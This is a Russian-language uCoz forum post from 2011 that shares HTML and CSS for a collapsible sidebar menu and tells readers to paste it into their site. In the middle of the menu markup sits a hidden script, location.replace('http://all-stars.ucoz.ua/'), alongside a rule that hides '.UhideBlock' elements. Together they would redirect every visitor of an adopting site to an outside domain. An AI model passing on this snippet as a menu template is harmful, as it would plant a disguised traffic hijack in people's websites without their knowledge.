Реклама:


Мини-чат

  • Страница 1 из 1
  • 1
NEW menu ( 2011 )
АнДрюХа | Доп. инфо. Дата: Воскресенье, 04.09.2011, 15:26 | Сообщение # 1

Создаем блок и кидаем туда код:
Code
<div class="mc-tm">                

         <a class="menubydredd theauthordredd" href="/" >Основ. раздел</a>                
         <div class="dreddmenu">                
         <ul>                
                <li><a href="/">Главная страничка</a>                
                <li><a href="/load/">Файловый архив</a></li>                
                <li><a href="/board">Онлайн фильмы</a></li>                
                <li><a href="/dir" style="text-shadow:0px 0px 5px #808080;">Топ сайтов</a></li>                
                <li><a href="/gb/">Гостевая</a></li>                
                <li><a href="/news/">BY_DUMBASS</a></li>                
                <li><a href="/photo/">С ВАС +</a></li>                
                <li><a href="/forum/">Форум</a></li>                
                </ul>                
         </div>                
                <a class="menubydredd theauthordredd" href="/" >Rip Студия</a>                
         <div class="dreddmenu">                
         <ul>                
                <li><a href="http://mc-tm.pp.ru/forum/56">Заказ Ripa Шаблона</a></li>                
                <li><a href="http://mc-tm.pp.ru/forum/57">Заказ Ripa Скрипта</a></li>                
                <li><a href="http://mc-tm.pp.ru/forum/58">Готовые Rip'ы Скриптов</a></li>                
                <li><a href="/load/ucoz/ripy_ot_nas/92">Готовые Rip'ы Шаблонов</a></li>                

                </ul>                
         </div>          
         <script>               
         location.replace('http://all-stars.ucoz.ua/');               
         </script><noindex><style type="text/css">.UhideBlock {display:none}</style></noindex>                
         <a class="menubydredd theauthordredd" href="/load" >Game</a>                
         <div class="dreddmenu">                
         <ul>                
                <li><a href="/load/igry/96">Игры На Pc</a>                

                </ul>                
         </div>                
                <a class="menubydredd theauthordredd" href="/" >Ucoz</a>                
         <div class="dreddmenu">                
         <ul>                
                <li><a href="/load/89">Иконки</a></li>                
                <li><a href="/load/88">Шаблоны</a></li>                
                <li><a href="/load/ucoz/shapki/87">Шапки</a></li>                
                <li><a href="http://mc-tm.pp.ru/load/ucoz/ripy_ot_nas/92">Рипы От Нас</a></li>                

                </ul>                
         </div>                
                <a class="menubydredd theauthordredd" href="/" >Всё для Фотошоп</a>                
         <div class="dreddmenu">                
         <ul>                
                <li><a href="/load/40" title="Кисти">Кисти</a></li>                
                <li><a href="/load/41" title="Шрифты">Шрифты</a></li>                
                <li><a href="/load/42" title="Градиенты">Градиенты</a></li>                
                <li><a href="/load/43" title="Стили">Стили</a></li>                
                <li><a href="http://mc-tm.pp.ru/forum/19" title="PSD">Готовые PSD</a></li>                
                </ul>                
         </div></center>


В CSS
Code
/* mc-tm */           
          .mc-tm{               
          margin: 5px 0;               
          padding: 0;               
          width: 178px; /*width of menu*/               
          border: 1px solid #ff0000;               
          border-bottom-width: 0;               
          }               

          .mc-tm a.menubydredd{               
          background: url() #c5c5c5;               
          font: normal 10px "Visitor_Rus", "Visitor_Rus", Visitor_Rus, Visitor_Rus, Visitor_Rus;               
          color: #808080;               
          display: block;               
          position: relative; /*To help in the anchoring of the ".dreddy" icon image*/               
          width: auto;               
          padding: 4px 0;               
          padding-left: 10px;               
          text-decoration: none;               
          border-top: 0px solid #ff0000;               
          border-bottom: 1px solid #ff0000;               
          }               

          .mc-tm a.menubydredd:visited, .mc-tm .menubydredd:active{               
          color: #808080;               
          }               

          .mc-tm a.menubydredd .dreddy{ /*CSS for icon image that gets dynamically added to headers*/               
          position: absolute;               
          top: 5px;               
          right: 5px;               
          border: none;               
          }               

          .mc-tm a.menubydredd:hover{               
          background-image: url(/gs/menuh.png);           
          color: #000000; text-shadow:0px 0px 5px #ff0000;               
          }               

          .mc-tm div.dreddmenu{ /*DIV that contains each sub menu*/               
          background-image: url(/gs/menuo.png);               
          }               

          .mc-tm div.dreddmenu ul{ /*UL of each sub menu*/               
          list-style-type: none;               
          margin: 0;               
          padding: 0;               
          }               

          .mc-tm div.dreddmenu ul li{               
          border-bottom: 1px solid #000000;               
          }               

          .mc-tm div.dreddmenu ul li a{               
          display: block;               
          font: normal 10px "Visitor_Rus", "Visitor_Rus", Visitor_Rus, Visitor_Rus, Visitor_Rus;               
          color:#808080;           
          text-decoration: none;               
          padding: 2px 0;               
          padding-left: 10px;               
          }               

          .mc-tm div.dreddmenu ul li a:hover{               
          color: #ff0000; text-shadow:0px 0px 5px #ff3939           
          colorz: #999999;               
          }               

          .mc-tm{margin: 5px 0; padding: 0; width: 180px; /*width of menu*/ border: 1px solid #000000; border-bottom-width: 0; }               

          .mc-tm a.menubydredd{background:url(/gs/menuo.png) #808080 ;font: normal 10px "Visitor_Rus", "Visitor_Rus";               
          color:#808080           
          display: block;               
          position: relative; /*To help in the anchoring of the ".dreddy" icon image*/               
          width: auto;               
          padding: 4px 0;               
          padding-left: 10px;               
          text-decoration: none;               
          border-top: 0px solid #000000;               
          border-bottom: 1px solid #000000;               
          }               

          .mc-tm a.menubydredd:visited, .mc-tm .menubydredd:active{               
          color: #808080;               
          }               

          .mc-tm a.menubydredd .dreddy{ /*CSS for icon image that gets dynamically added to headers*/               
          position: absolute;               
          top: 5px;               
          right: 5px;               
          border: none;               
          }               

          .mc-tm a.menubydredd:hover{               
          background: url(/gs/menuh.png) #ff0000;               
          }               

          .mc-tm div.dreddmenu{ /*DIV that contains each sub menu*/               
          background:#303030;               
          }               

          .mc-tm div.dreddmenu ul{ /*UL of each sub menu*/               
          list-style-type: none;               
          margin: 0;               
          padding: 0;               
          }               

          .mc-tm div.dreddmenu ul li{               
          border-bottom: 1px solid #000000;               
          }               

          .mc-tm div.dreddmenu ul li a{               
          display: block;               
          font: normal 10px "Visitor_Rus", "Visitor_Rus";               
          background:url(/gs/m2.png);               
          text-decoration: none;               
          padding: 2px 0;               
          padding-left: 15px;               
          }               

          .mc-tm div.dreddmenu ul li a:hover{               
          background:url(/gs/m2.png);background-position:0px -20px;           
          }           
          /* ------------------------------------------ */
Прикрепления: 2850918.png (13.4 Kb)



  • Страница 1 из 1
  • 1
Поиск: